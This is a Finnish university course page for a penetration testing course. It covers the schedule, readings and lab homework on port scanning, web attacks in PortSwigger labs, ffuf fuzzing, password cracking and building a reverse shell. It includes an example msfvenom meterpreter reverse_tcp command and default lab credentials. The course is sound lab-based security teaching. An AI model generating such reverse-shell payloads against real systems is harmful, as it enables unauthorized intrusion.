Tunkeutumistestaus
Penetration Testing course - 2024 late autumn
Learn to hack computers to protect your own. In the course, you will break into target computers.
Update: We have four great visitors coming, check agenda.
Excellent feedback, reached 5.0 out of 5.
Course name and code | Tunkeutumistestaus ICI001AS3A-3002 (opinto-opas) |
Timing | 2024 period 4 late autumn, w13-w20. |
Credits | 5 cr |
Classes | Thursdays 14:00 - 16:45, Pasila pa5001, bring your laptop |
Max students | 30 |
Language | Finnish (+reading material in English) |
Remote | No, fully contact in Pasila classroom |
Feedback | 5.0 / 5 Excellent feedback* ![]() |
Services | Moodle: Tunkeutumistestaus, Laksu. Voluntary extra: Tero's list. |
First class |
* Best instance 5.0/5, every student gave feedback and every feedback was 5. Lowest 4.5/5 excellent, typical 4.9/5 excellent. Use of penetration testing techniques requires legal and ethical considerations. To safely use these tools, tactics and procedures, you might need to obtain contracts and permissions; and posses adequate technical skills. Check your local laws.
Teaching is in Finnish, so the rest of this page will be in Finnish.
Tunkeutumistestaus on eettisen hakkeroinnin kurssi. Opit, miten murtaudutaan tietokoneille, jotta voisit suojata omat ja toimeksiantajan järjestelmät. Nämä tekniikat, ohjelmat ja taktiikat ovat luvallisia vain tietyissä tilanteissa. Usein pitää hankkia lupia ja tehdä sopimuksia. Lisäksi näiden tekniikoiden turvalliseen käyttöön tarvitaan teknistä taitoa. Perehdy itse paikallisiin lakeihin.
Oppimistavoitteet
Opintojakson suoritettuaan opiskelija
- Tuntee tunkeutumistestauksen prosessin pääpiirteissään
- Tietää, että tunkeutumistestaukselle on lailliset ja eettiset rajat
- Osaa kartoittaa kohdejärjestelmän haavoittuvuuksia
- Osaa hyödyntää valmiita hyökkäyksiä (exploit) ja liittää niihin hyötykuorman käyttäen kurssille valittua työkalua
- Osaa soveltaa tavallisimpia hyökkäyksiä weppisovelluksia vastaan, kun kohdeohjelmistot ovat helppoja ja haavoittuvia.
- Osaa hankkia tunkeutumistestauksessa tarvittavia ohjelmistoja
Kurssilta ei saa mukaansa ilmaista pakettia nollapäivähaavoittuvuuksia, eikä kurssi anna mitään erityisoikeuksia eikä ammattinimikkeitä.

Aikataulu
Torstaisin 14:00 - 16:45 Pasila pa5001. Aloitamme 14:00, vaikka joku vierailija tulisikin mukaan myöhemmin.
Päivä | Aihe |
---|---|
2025-03-27 w13 Thu | Tunkeutumisen yleiskuva. Järjestäytyminen. Kybertappoketju. 15:00 Vierailija: Riku Juurikko / Head of Preparedness, Elisa: Social Engineering (en). |
2025-04-03 w14 Thu | Aktiivinen tiedustelu. Santeri Siirilä, Cyber Security Consultant, CGI: Hacking the Web. Tero: Porttiskannaus ja oheistekniikat. Valvonta snifferillä. |
2025-04-10 w15 Thu | 14:00 Vierailija: Joona joohoi Hoikkala: Head of Security Testing, Visma: Ffuf & Bit flipping. Tero: Läksyjen tarkastelu ja kertaus: Weppiin murtautuminen. |
2025-04-17 w16 Thu | Salasanojen murtaminen. Käyttäjien salasanat. Sanakirjahyökkäys. Hashcat. Haittaohjelman käyttö. Msfvenom. |
2025-04-24 w17 Thu | 14:00 Vierailija Nikita Ponomarev: Attacking Active Directory. |
2025-05-01 w18 Thu | (Vappu, ei opetusta) |
2025-05-08 w19 Thu | 14: Vierailija: Petri idänhurja Maksimainen: Abloy Classic -tiirikointi, työpaja. Weppipalveluihin murtautuminen. |
2025-05-15 w20 Thu | Lipunryöstö, arvioitava laboratorioharjoitus. |
Tämä on edistynyt kurssi, joten tuntien aiheisiin voi tulla muutoksia kurssin edetessä.
Kertausmateriaalia
Tämä materiaali on vapaaehtoista, jos osaat ne jo. Lähteet ovat esimerkkejä, voit osata/opetella nuo asiat mistä vain haluat. Esimerkiksi ohjelmoinnin alkeita harjoitella tai osata aivan millä vain kielellä (Python, C...). Jos kurssilla järjestetään alkutesti, kysymykset eivät rajoitu kertauspaketin materiaaliin.
- TCP/IP-pino: Wikipedia: Internet protocol suite
- Linuxin komentokehote: Command Line Basics Revisited (ja Linuxin asennus Install Debian on VirtualBox)
- Tietokantojen alkeet (millä vain alustalla): PostgreSQL Install and One Table Database - SQL CRUD tutorial for Ubuntu
- Ohjelmoinnin alkeet (millä vain kielellä). Python on myös hyvä vaihtoehto. FreeCodeCamp.org: Javascript Algorithms And Data Structures Certification: Basic JavaScript: Introduction to JavaScript
Luettavaa ja linkkejä
€ Maksulliset aineistot saattavat näkyä ilmaiseksi Haaga-Helian tunnuksilla kirjaston kautta. Haaga-Helialla on käyttöoikeus O'Reilly Learning -kirjoihin (ent. Safari).
Työkaluja kurssille
- Install Debian on VirtualBox
- Remote Learning Tools for Tero's Courses
- Kali Linux. Uusi levykuva kali-linux-2021.1-live-amd64.iso (vanha levykuva kali-linux-2020.3-live-amd64.iso). Kun linkki menee vanhaksi, etsi Kalin kotisivulta tuorein amd64-arkkitehtuurin live-tikun iso-kuva.
L2 weppihyökkäyksiä - tukee läksyä h2
OWASP 10 2017 (pdf), erityisesti ne hyökkäykset, joita aiot kohta tehdä eli A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting; sekä viime kerralla harjoiteltu A1 Injection.
€ Santos et al 2018: Hacking Web Applications The Art of Hacking Series LiveLessons (video): Security Penetration Testing for Today's DevOps and Cloud Environments: 6.3 Understanding SQL Injection ja 6.4 Exploiting SQL Injection Vulnerabilities sekä Lesson 5: Authentication and Session Management Vulnerabilities
€ Percival & Samancioglu 2020: The Complete Ethical Hacking Course (video): Chapter 21: Cross Site Scripting
Yleiskuva, harjoitusmaaleja, web
- MITRE ATT&CK
- Darknet Diaries . Podcastien kuunteluun kännykällä AntennaPod löytyy F-Droidista
- MitmProxy on Kali and Xubuntu
- Install Webgoat 8 - Learn Web Pentesting. (It's also possible to install old version 7 of WebGoat with Docker).
- OWASP 10 2017 (pdf). Tällä hetkellä 2021-02-02 uusin versio.
Aktiivinen tiedustelu. HackTheBox.
€ Santos et al: The Art of Hacking (Video Collection): [..] 4.3 Surveying Essential Tools for Active Reconnaissance: Port Scanning and Web Service Review
man nmap (laaja, silmäily riittää)
Kokonaisia blogeja ja videokanavia, vilkaise, ei tarvitse katsoa 200 h videota:
- https://tools.kali.org/tools-listing
- 0xdf https://0xdf.gitlab.io/
- ippsec https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos
- John Hammond https://www.youtube.com/user/RootOfTheNull/videos?sort=p
- Youtube-videoiden katseluun kännykällä NewPipe F-Droidista. Youtube-videoiden nopeuden säätöön codebicycle Video Speed Controller addon Firefoxille.
Passwords, Learning to Learn tools
- infosecn1nja 2020: Red-Teaming-Toolkit
- Taylor et al 2018: The Art of Hacking: Hacking User Credentials €
Web Fuzzing, Second to Last Words
- Hoikkala "joohoi" 2020: ffuf - Fast web fuzzer written in Go
- Hoikkala "joohoi" 2020: Still Fuzzing Faster (U fool). In HelSec Virtual Meetup #1.
- Miettinen 2020: iPhone BFU Acquisition and Analysis. In HelSec Virtual Meetup #1.
Metasploit
€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta "Conducting a penetration test with Metasploit" luvun loppuun)
Karvinen 2018: Install Metasploitable 3 – Vulnerable Target Computer (Article uses rapid7/metasploitable3-ub1404 , see also "rapid7/metasploitable3-win2k8")
Läksyt
Palauta linkki Laksuun 24 h ennen seuraavaa lukujärjestykseen merkittyä kurssivarausta. Tehtävät ovat pakollinen ja tärkeä osa kurssia.
Läksyt ovat virallisia vasta, kun ne on vahvistettu (yleensä oppitunnin päätteeksi). Tämä on edistynyt kurssi, joten ohjelmaan tulee yleensä muutoksia kurssin aikana. Osa tehtävistä edellyttää huolellisuuden lisäksi tietoja ja taitoja työkalujen käytöstä, jottei synny vahinkoja - tee vasta, kun tiedät oikeat työtavat.
Läksyt käydään läpi seuraavalla tapaamiskerralla, ratkotaan yhdessä ongelmia ja annetaan suullista palautetta. Arvosana kotitehtäväpaketista tulee vasta kurssin lopuksi, mutta tehtävät tulee silti palauttaa aina vuorokautta ennen seuraavia tunteja. Julkaiseminen on vapaaehtoista, mutta erittäin suositeltavaa. Jos et jostain syystä uskalla tai muuten halua julkaista, voit laittaa työn weppisivulle salasanan taakse (kaikille kotitehtäville sama salasana) ja jakaa tämän salasanan kurssilaisten kanssa. Jos tuntien yhteydessä järjestetään testejä läksyjen aiheista, niiden pisteet sisältyvät arvostelun kohtaan läksyt.
Läksyt pitää tehdä tietokoneella kokeilemalla ja raportoida tapahtumien kulku, ellei kyseisessä alakohdassa erikseen muuta lue. Raportti tulee kirjoittaa samalla, kun työskentelee.
Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.
Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt.
h1 Kybertappoketju
Kill Chain #1: Recon. Porttiskannauksen lisäksi alamme rakentaa hakkerilabraa.
Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt. Koneet on eristettävä Internetistä hyökkäysten harjoittelun ajaksi.
- x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
- Herrasmieshakkerit (RSS) tai Darknet Diaries (RSS) , yksi vapaavalintainen jakso jommasta kummasta. Voi kuunnella myös lenkillä, pyykiä viikatessa tms. Siisti koti / hyvä kunto kaupan päälle.
- Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains, chapters Abstract, 3.2 Intrusion Kill Chain.
- € Santos et al: The Art of Hacking (Video Collection): 4.3 Surveying Essential Tools for Active Reconnaissance. Sisältää porttiskannauksen. 5 videota, yhteensä noin 20 min.
- KKO 2003:36.
- a) Asenna Kali virtuaalikoneeseen. (Jos asennuksessa ei ole mitään ongelmia tai olet asentanut jo aiemmin, tarkkaa raporttia tästä alakohdasta ei tarvita. Kerro silloin kuitenkin, mikä versio ja millä asennustavalla. Jos on ongelmia, niin tarkka ja toistettava raportti).
- b) Irrota Kali-virtuaalikone verkosta. Todista testein, että kone ei saa yhteyttä Internetiin (esim. 'ping 8.8.8.8')
- c) Porttiskannaa 1000 tavallisinta tcp-porttia omasta koneestasi (nmap -T4 -A localhost). Selitä komennon paramterit. Analysoi ja selitä tulokset.
- d) Asenna kaksi vapaavalintaista demonia ja skannaa uudelleen. Analysoi ja selitä erot.
- e) Asenna Metasploitable 2 virtuaalikoneeseen
- f) Tee koneiden välille virtuaaliverkko. Jos säätelet VirtualBoxista
- Kali saa yhteyden Internettiin, mutta sen voi laittaa pois päältä
- Kalin ja Metasploitablen välillä on host-only network, niin että porttiskannatessa ym. koneet on eristetty intenetistä, mutta ne saavat yhteyden toisiinsa
- Vaihtoehtoisesti voit tehdä molempien koneiden asennuksen ja virtuaaliverkon vagrantilla. Silloin molemmat koneet samaan Vagrantfile:n.
- g) Etsi Metasploitable porttiskannaamalla (nmap -sn). Tarkista selaimella, että löysit oikean IP:n - Metasploitablen weppipalvelimen etusivulla lukee Metasploitable.
- h) Porttiskannaa Metasploitable huolellisesti ja kaikki portit (nmap -A -T4 -p-). Poimi 2-3 hyökkääjälle kiinnostavinta porttia. Analysoi ja selitä tulokset näiden porttien osalta.
Vinkkejä
- Sivun tekeminen wepiin onnistuu helposti Githubilla. Karvinen 2023: Create a Web Page Using Github
- Podcastien kuunteluun AntennaPod löytyy F-Droid:sta ja Google Play:sta. Tietysti podcasteja voi kuunnella sadoilla muillakin ohjelmilla.
- Kannattaa lukea Valkamon artikkelista VirtualBox-osuus ennenkuin ryhdyt asentamaan virtuaalikoneita. Valkamo 2022: Hacking into a Target Using Metasploit: Metasploitable
- Halutessasi voit käyttää myös muita virtualisointiympäristöjä kuin VirtualBoxia, esim Macilla UTM tai Linuxilla virt-manager (libvirt, qemu). Tämä edellyttää toki omaa soveltamista.
- Virtuaalikoneiisin voi asentaa uusia verkkokortteja vain, kun ne ovat sammuksissa
- Suosittelen Kaliin 4 GB muistia
- OffSec Ltd 2023: Prebuilt Virtual Machines
- Tutustu tarvittaessa itse etsimiisi lähteisiin, kuten man-sivuihin ja ohjelmien dokumentaatioon.
- Muista laittaa lähdeviitteet. Viittaa joka tehtävästä kurssiin ja kaikkiin muihinkin käyttämiisi lähteisiin.
- O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston Haaga-Helia A-Z kautta.
- VirtualBoxissa host-only-networking on kätevä. Voit laittaa Kaliin kaksi verkkokorttia, toinen NAT:lla Internetiin ja toinen host-only-network:n. Verkkoasetusten advanced-kohdasta voi vetää virtuaalisen verkkokaapelin irti ja kiinni, vaikka kone on päällä.
- Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja 'ifconfig' tai 'ip addr'. Metasploitable 2:n kannattaa laittaa vain yksi "Host only networking" verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.
- Kun olet irroittanut Internetin ja valmiina skannaamaan, varmista. Kokeile, että Google tai DuckDuckGo ei aukea selaimella, että et voi pingata esim 8.8.8.8. Kokeile, että maalikoneesi vastaa pingiin. Jos maalikoneella on weppipalvelin, kannattaa katsoa selaimella, että sieltä aukeaa olettamasi sivu.
- Tietoja verkosta
- ip a; ifconfig
- ip route
- ipcalc 10.0.0.1/24
- ping 8.8.8.8
- Ole huolellinen, irrota harjoituskoneet Internetistä skannausten ja hyökkäysten ajaksi. Mitään ulkopuolisia koneita ei saa skannata eikä mihinkään ulkopuolisiin koneisiin saa tunkeutua.
- Jokin tehtävä voi olla vaikea. Tee ja raportoi silloin kaikki mitä osaat. Listaa lähteet, joista hait ohjeita. Onko jotain vielä kokeiltavana? Mitä haasteita on vielä ratkaisun tiellä? Mitä virheimoituksia tai vastaavia tulee? Voit myös katsoa wepistä esimerkkiratkaisun - muista viitata lähteeseen ja merkitä, missä kohdassa katsoit ratkaisua. Ja katsotaan yhdessä tunnilla loput.
- Ongelmallisista kohdista raportoidaan erityisen tarkasti, jotta voimme antaa vinkkejä haasteisiin.
h2 Täysin Laillinen Sertifikaatti
- x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
- OWASP 2021: OWASP Top 10:2021
- A01:2021 – Broken Access Control (IDOR ja path traversal ovat osa tätä)
- A10:2021 – Server-Side Request Forgery (SSRF)
- PortSwigget Academy:
- OWASP 2021: OWASP Top 10:2021
- a) Totally Legit Sertificate. Asenna OWASP ZAP, generoi CA-sertifikaatti ja asenna se selaimeesi. Laita ZAP proxyksi selaimeesi. Laita ZAP sieppaamaan myös kuvat, niitä tarvitaan tämän kerran kotitehtävissä. Osoita, että hakupyynnöt ilmestyvät ZAP:n käyttöliittymään. (Ei toimine localhost:lla ilman Foxyproxya)
- b) Kettumaista. Asenna "FoxyProxy Standard" Firefox Addon, ja lisää ZAP proxyksi siihen. Käytä FoxyProxyn "Patterns" -toimintoa, niin että vain valitsemasi weppisivut ohjataan Proxyyn. (Läksyssä ohjataan varmaankin PortSwigger Labs ja localhost.)
- PortSwigger Labs. Ratkaise tehtävät. Selitä ratkaisusi: mitä palvelimella tapahtuu, mitä eri osat tekevät, miten hyökkäys löytyi, mistä vika johtuu. Kannattaa käyttää ZAPia, vaikka malliratkaisut käyttävät harjoitusten tekijän maksullista ohjelmaa. Monet tehtävät voi ratkaista myös pelkällä selaimella. Malliratkaisun kopioiminen ZAP:n tai selaimeen ei ole vastaus tehtävään, vaan ratkaisu ja haavoittuvuuden etsiminen on selitettävä ja perusteltava.
- Cross Site Scripting (XSS)
- Path traversal
- e) File path traversal, simple case. Laita tarvittaessa Zapissa kuvien sieppaus päälle.
- f) File path traversal, traversal sequences blocked with absolute path bypass
- g) File path traversal, traversal sequences stripped non-recursively
- Insecure Direct Object Reference (IDOR)
- Server Side Request Forgery (SSRF)
- Server Side Template Injection (SSTI)
- j) Vapaaehtoinen, hieman haastava: Server-side template injection with information disclosure via user-supplied objects
- k) Vapaaehtoinen, helppo: Asenna pencode ja muunna sillä jokin merkkijono (encode a string).
- l) Vapaaehtoinen: Mitmproxy. Asenna MitmProxy. Esittele sitä terminaalissa (TUI). Ota TLS-purku käyttöön. Poimi historiasta hakupyyntö, muokkaa sitä ja lähetä uudelleen.
- m) Vapaaehtoinen: Ratkaise lisää PortSwigger Labs -tehtäviä. Kannattaa tehdä helpoimmat "Apprentice" -tason tehtävät ensin.
Vinkit
- Firefox ei enää ohjaa proxyyn liikennettä mihinkään 127-alkuiseen IP-osoitteeseen eikä localhostiin. Mutta Foxyproxyn avulla se onnistuu.
- Zap asennus
- OWASP ZAP Download-sivun sopivin JAR on "Cross Platform Package", noin 250 MB.
- Kalissa 'sudo apt-get install zaproxy'
- Proxya voi testata vaikkapa Metasploitablen weppipalveluiden kanssa. Tai asentaa WebGoatin Podmaniin. Tai käyttää läksyn PortSwigger Labsin harjoituksia.
- Älä tee hyökkäyksiä mihinkään muualle kuin harjoitusmaaleihin
- ZAP TLS-yhteyksien avaamiseen CA-sertifikaatti
- Löytyy Tools: Options: Network alta, hakusanaksi "Certificate".
- Joissain versioissa haku ei suodata listaa, vaan värittää osumat oranssilla. Ja tietysti oikea sertifikaatti on piilossa, niin että pitää klikkaamalla avata listaa. Sertifikaattikohtia on kaksi, tässä turha asiakkaan sertifikaatti ja oikea, tarvittava palvelimen sertifikaatti.
- Firefoxissa Settings ja hakusanaksi "Certificate"
- Löytyy Tools: Options: Network alta, hakusanaksi "Certificate".
- ZAP:n tärkein toiminto: Requester tab.
- Löytyy historiasta oikeaa nappia painamalla. Myös Ctrl-W.
- Muokkaa hakupyyntöä ja lähetä. Vastaus näkyy vieresssä. Korjaa ja lähetä uudelleen.
- ZAP hakupyynnön pysäytys
- Vain, jos Requester eli saman pyynnön uudelleenlähetys ei toimi.
- Puussa olevista osoitteista oikeaa nappia, menusta "Break..."
- Tee pyyntö selaimella
- Pyyntö näkyy ZAPissa oikealla ylhäällä "Break" välilehdellä.
- Muokaa pyynnön tekstiä, lähetä eteenpäin yläreunan työkalupallin Play-symbolia klikkaamalla
- ZAP kuvien sieppaus muistaakseni Options: Display: ...images.
- Osa tässäkin läksynä olevista harjoituksista edellyttää, että kuvien sieppaus on päällä.
- Monissa ZAP:n versioissa jättää kokonaan kuvat näyttämättä oletuksena.
- PortSwiggerin tehtävissä voi käyttää välimiesproxyna ZAP:ia tai MitmProxya. Ei siis tarvitse ostaa noiden harjoitusten tekijän kuuluisaa ohjelmaa.
- Pencoder - loistava ohjelma stringien muunteluun fuff:n tekijältä. Esim. URLEncode, base64...
- Pencoder asennus ulkomuistista: hae Github-sivu "fuff pencode", Releases, pencode*linux_amd64.tar.gz, pura paketti, aja valmis binääri, kopioi se /usr/local/bin/.
- Viittaa
- Viittasithan kurssiin ja tehtäväsivuun?
- Viittasithan kaikkiin käyttämiisi artikkeleihin?
- Viittasithan muiden tehtäväraportteihin, jos käytit lähteenä?
- Videoihin, man-sivuihin, ohjelmiin, StackOverflowhun...
- Viittasithan kaikkiin muihinkin lähteisiin?
- Hakkeroimaan oppii hakkeroimalla.
h3 Fuzzy
Opit käyttämään maailman johtavaa weppifuzzeria: ffuf. Sen opettaa meille tunnilla itse työkalun tekijä, joohoi.
- x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma idea, huomio, kysymys tai kommentti.)
- Karvinen 2023: Find Hidden Web Directories - Fuzz URLs with ffuf
- Jompi kumpi, Hoikkalan video tai teksti:
- Hoikkala 2023: ffuf README.md, tai
- Hoikkala "joohoi" 2020: Still Fuzzing Faster (U fool). In HelSec Virtual meetup #1. (Noin tunnin mittainen)
- a) Fuzzzz. Ratkaise dirfuz-1 artikkelista Karvinen 2023: Find Hidden Web Directories - Fuzz URLs with ffuf.
- b) Fuff me. Asenna FuffMe-harjoitusmaali. Karvinen 2023: Fuffme - Install Web Fuzzing Target on Debian
- Ratkaise ffufme harjoitukset - kaikki paitsi ei "Content Discovery - Pipes".
- c) Basic Content Discovery
- d) Content Discovery With Recursion
- e) Content Discovery With File Extensions
- f) No 404 Status
- g) Param Mining
- h) Rate Limited
- i) Subdomains - Virtual Host Enumeration
h4 Leviämässä
Nyt levitään! Opit murtamaan salasanoja ja tekemään haittaohjelmia.
Itsenäistä opiskelua: 2025-04-17 w16 torstaina ei ole oppitunteja tällä kurssilla.
Ensi viikolla w17 saamme vierailijan suoraan Tanskasta. Nikita opettaa murtautumista Active Directory -verkkoihin.
- x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
- Karvinen 2022: Cracking Passwords with Hashcat
- Karvinen 2023: Crack File Password With John
- € Santos et al 2017: Security Penetration Testing - The Art of Hacking Series LiveLessons: Lesson 6: Hacking User Credentials (8 videos, about 30 min)
- € Kennedy et al 2025: Metasploit: File-Format Exploits (sivun loppuun, eli Wrapping Up loppuun)
- € Singh 2025: The Ultimate Kali Linux Book: Understanding Active Directory (Vain tuo kappale, ei enää "Enumerating Active Directory")
- € Vapaaehtoinen: Kennedy et al 2025: Metasploit: Basic Meterpreter Commands
- a) Asenna Hashcat ja testaa sen toiminta murtamalla esimerkkisalasana.
- c) Asenna John the Ripper ja testaa sen toiminta murtamalla jonkin esimerkkitiedoston salasana.
- e) Tiedosto. Tee itse tai etsi verkosta jokin salakirjoitettu tiedosto, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi).
- f) Tiiviste. Tee itse tai etsi verkosta salasanan tiiviste, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi. Voit esim. tehdä käyttäjän Linuxiin ja murtaa sen salasanan.)
- g) Tee msfvenom-työkalulla haittaohjelma, joka soittaa kotiin (reverse shell). Ota yhteys vastaan metasploitin multi/handler -työkalulla.
- Haittaohjelma ei saa olla automaattisesti leviävä. Msfvenom tekee tyypillisillä asetuksilla ohjelman, joka avaa reverse shellin, kun sen ajaa, mutta joka ei leviä eikä tee muutenkaan mitään itsestään.
- Raporttiin riittävät pelkät komennot ja raportti haitakkeen tekemisestä, itse binääriä ei ole pakko laittaa verkkoon. Mikäli laitat binäärin verkkoon, pakkaa se salakirjoitettuun zip-pakettiin ja laita salasanaksi "infected". Latauslinkin yhteydessä on oltava selkeä varoitus siitä, että kyseessä on haittaohjelma (malware), jota ei tule ajaa tuotantokoneilla. Salasanan voit halutessasi kertoa varoitusten yhteydessä.
- Palvelimen päässä pitää olla reikä tulimuurissa. Reverse shell tarkoittaa, että palvelin on hyökkäyskoneella.
- h) Vapaaehtoinen: Asenna Windows-virtuaalikone ja tee msfvenomilla ohjelma siihen. Itse tykkään Linuxista ja käytän paljon sitä, tässä hieman vaihtelua. Windows-käyttäjät ovat myös usein tottuneet (paketinhallinnan puutteessa) lataamaan ohjelmia weppisivuilta.
Vinkit
- O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.
- Irrota tarvittasessa koneet netistä testien ajaksi.
- Metasploit msfconsole multi/handler
- laita samat asetukset kuin msfvenom
- muista 'set payload'
- 'run -j' ajaa taustalla, sessiot ovat 'sessions'
- prosessoriarkkitehtuuri kohteen mukaan
Esimerkki ulkomuistista, pitää itse soveltaa
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -o infected
Adminstrivia: Update 2025-04-16 w16 Wed: Korjasin kieliasua ja ulkoasua, lisäsin linkin HH A-Z, merkkasin maksulliset lukemistot.